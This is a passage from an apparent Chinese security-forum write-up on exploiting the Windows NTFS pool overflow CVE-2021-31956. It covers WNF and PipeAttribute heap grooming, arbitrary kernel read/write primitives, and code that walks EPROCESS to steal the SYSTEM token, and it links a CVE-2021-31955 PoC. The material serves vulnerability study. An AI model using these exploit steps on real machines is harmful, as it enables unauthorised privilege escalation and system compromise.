    struct _EPROCESS* CreatorProcess;//0x98
    LONG DataSubscribersCount;//0xa0
    LONG CurrentDeliveryCount;//0xa4
};

NtUpdateWnfStateData可以往对象里写入数据,使用_WNF_STATE_DATA结构存储写入的内容;

1
2
3
4
5
6
7
8
typedef NTSTATUS (NTAPI * __NtUpdateWnfStateData)(
    _In_ PWNF_STATE_NAME StateName,
    _In_reads_bytes_opt_(Length) const VOID * Buffer,
    _In_opt_ ULONG Length,
    _In_opt_ PCWNF_TYPE_ID TypeId,
    _In_opt_ const PVOID ExplicitScope,
    _In_ WNF_CHANGE_STAMP MatchingChangeStamp,
    _In_ ULONG CheckStamp);

通过NtQueryWnfStateData可以读取之前写入的数据,通过NtDeleteWnfStateData可以释放掉这个对象。NtDeleteWnfStateDat会调用ExpWnfDeleteStateData。

1
2
3
4
5
6
7
typedef NTSTATUS (NTAPI * __NtQueryWnfStateData)(
    _In_ PWNF_STATE_NAME StateName,
    _In_opt_ PWNF_TYPE_ID TypeId,
    _In_opt_ const VOID * ExplicitScope,
    _Out_ PWNF_CHANGE_STAMP ChangeStamp,
    _Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer,
    _Inout_ PULONG BufferSize);

DataSize表示内存中_WNF_STATE_DATA结构的实际数据的大小,并用于NtQueryWnfStateData函数内的边界检查。_WNF_STATE_DATA结构存储写入的内容的内存复制操作发生在函数ExpWnfReadStateData中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
__int64 __fastcall ExpWnfReadStateData(__int64 nameinstance, _DWORD *CurrentChangeStamp, void *dest, unsigned int BufferSize, _DWORD *outbufsize)
{
  volatile signed __int64 *v9; // rbx
  __int64 v10; // rdi
  _DWORD *StateData; // rdx
  unsigned int DataSize; // eax
  unsigned int v14; // [rsp+20h] [rbp-48h]
 
  v14 = 0;
  v9 = (volatile signed __int64 *)(nameinstance + 0x50);
  v10 = KeAbPreAcquire(nameinstance + 0x50, 0i64, 0);
  if ( _InterlockedCompareExchange64(v9, 17i64, 0i64) )
    ExfAcquirePushLockSharedEx(v9, v10, v9);
  if ( v10 )
    *(_BYTE *)(v10 + 26) |= 1u;
  StateData = *(_DWORD **)(nameinstance + 0x58);// StateData
  if ( !StateData )
  {
    *CurrentChangeStamp = 0;
    goto LABEL_11;
  }
  if ( StateData == (_DWORD *)1 )
  {
    *CurrentChangeStamp = *(_DWORD *)(nameinstance + 0x60);
LABEL_11:
    *outbufsize = 0;
    goto LABEL_13;
  }
  *CurrentChangeStamp = StateData[3];
  *outbufsize = StateData[2];
  DataSize = StateData[2];
  if ( BufferSize < DataSize )
  {                                             // length check on size here
    v14 = -1073741789;                          // STATUS_BUFFER_TOO_SMALL
  }
  else
  {
    memmove(dest, StateData + 4, DataSize);
    v14 = 0;
  }
LABEL_13:
  if ( _InterlockedCompareExchange64(v9, 0i64, 17i64) != 17 )
    ExfReleasePushLockShared((signed __int64 *)v9);
  KeAbPostRelease((ULONG_PTR)v9);
  return v14;
}

通过堆喷控制内存,使用NTFS的堆溢出越界写_WNF_STATE_DATA中的DataSize,接下来通过NtQueryWnfStateData实现相对偏移地址读写。
图片描述

任意地址读-1

通过PipeAttribute实现任意地址读
PipeAttribute详见:
https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf

1
2
3
4
5
6
7
typedef struct pipe_attribute {
    LIST_ENTRY list;
    char* AttributeName;
    size_t ValueSize;
    char* AttributeValue;
    char data[0];
} pipe_attribute_t;

PipeAttribute块的大小也是可控的,并且分配在分页池上,因此可以将块放置在与易受攻击的 NTFS 块或允许相对写入的 WNF 块相邻的位置。两个指针AttributeName、AttributeValue 正常情况下是指向PipeAttribute.data[]后面的,通过堆布局,将AttributeValue的指针该为任意地址,就可以实现任意地址读。遗憾的是,windows并没有提供直接更新该数据结构的功能,不能通过该方法进行任意地址写。
图片描述
使用这个布局,修改PipeAttribute的Flink指针,并将其指向一个伪造的管道属性。
// 使指向下一个属性的指针在用户层
overwritten_pipe_attribute->list.Flink = (LIST_ENTRY *)xploit->fake_pipe_attribute;
分页池创建管道后,用户可以向管道添加属性,同时属性值分配的大小和填充的数据完全由用户来控制。
AttributeName和AttributeValue是指向数据区不同偏移的两个指针。
同时在用户层,可以使用0x110038控制码来读取属性值。AttributeValue指针和AttributeValueSize大小将被用于读取属性值并返回给用户。

属性值可以被修改,但这会触发先前的PipeAttribute的释放和新的PipeAttribute的分配。这意味着如果攻击者可以控制PipeAttribute结构体的AttributeValue和AttributeValueSize字段,它就可以在内核中任意读取数据,但不能任意写。
所以,控制Pipe_Attribute的List_next指针值,使其指向用户层的Pipe_Attribute,也就意味着用户层的PipeAttribute结构体的AttributeValue和AttributeValueSize字段我们可以任意指定,也就可以在内核中任意读取数据数据,即获得了一个任意地址读原语。

任意地址写-1

释放掉堆喷未修改的其他的Pipe_Attribute结构,使用_WNF_NAME_INSTANCE重新进行堆喷,通过局部地址读写,覆盖掉下一个Wnf结构体里的_WNF_STATE_DATA,将其指向当前进程的EPROCESS,使用NtUpdateWnfStateData操作,即可实现写操作 。
图片描述
_WNF_NAME_INSTANCE结构的CreatorProcess包含_EPROCESS指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
nt!_WNF_NAME_INSTANCE
   +0x000 Header           : _WNF_NODE_HEADER
   +0x008 RunRef           : _EX_RUNDOWN_REF
   +0x010 TreeLinks        : _RTL_BALANCED_NODE
   +0x028 StateName        : _WNF_STATE_NAME_STRUCT
   +0x030 ScopeInstance    : Ptr64 _WNF_SCOPE_INSTANCE
   +0x038 StateNameInfo    : _WNF_STATE_NAME_REGISTRATION
   +0x050 StateDataLock    : _WNF_LOCK
   +0x058 StateData        : Ptr64 _WNF_STATE_DATA
   +0x060 CurrentChangeStamp : Uint4B
   +0x068 PermanentDataStore : Ptr64 Void
   +0x070 StateSubscriptionListLock : _WNF_LOCK
   +0x078 StateSubscriptionListHead : _LIST_ENTRY
   +0x088 TemporaryNameListEntry : _LIST_ENTRY
   +0x098 CreatorProcess   : Ptr64 _EPROCESS
   +0x0a0 DataSubscribersCount : Int4B
   +0x0a4 CurrentDeliveryCount : Int4B

遍历进程链表,获得pid4的token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ULONGLONG eprocess = (ULONGLONG)tmp_name.CreatorProcess;
ULONG process_id_offset;
ULONG token_offset;
ULONG link_offset;
if (locate_exp_offset(eprocess, &process_id_offset, &token_offset, &link_offset))
    goto die;
 
// we need locate process id offset
ULONGLONG token_addr = eprocess + token_offset;
UCHAR* begin_eprocess = eprocess;
while (1) {
    ULONGLONG process_id;
    ab_read(eprocess + process_id_offset, &process_id, 8);
    if (process_id == 4) {
        break;
    }
    UCHAR* tmp;
    ab_read(eprocess + link_offset, &tmp, 8);
    tmp -= link_offset;
    if (tmp == begin_eprocess) {
        break;
    }
    eprocess = tmp;
}
ULONGLONG token;
ab_read(eprocess + token_offset,&token, 8);
DEBUG("system token %016llx\n", token);

修改 WNF的StateData指向当前进程的token

1
wnf_name->StateData = (WNF_STATE_DATA*)(token_addr - 0x50);

调用NtUpdateWnfStateData替换当前进程的token为 system的

1
2
*(ULONGLONG*)(write_buf + 0x40) = token;
mystatus = NtUpdateWnfStateData(&abwrite_st, write_buf, 0x48, 0, 0, 0, 0);

CVE-2021-31955

在卡巴发现的在野利用样本中,CVE-2021-31956利用了CVE-2021-31955来解决EPROCESS地址泄漏问题。
CVE-2021-31955漏洞是ntoskrnl.exe中的一个信息泄露漏洞。NtQuerySystemInformation 函数返回的 SuperFetch信息类SuperfetchPrivSourceQuery中包含当前执行的进程的EPROCESS kernel 地址。
https://github.com/freeide/CVE-2021-31955-POC
图片描述


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2023-7-5 15:07 被hml189编辑 ,原因:
收藏
点赞3
打赏
分享
最新回复 (1)
雪    币: 19349
活跃值: (28971)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2023-6-29 09:35
2
0
mark
游客
登录 | 注册 方可回帖
返回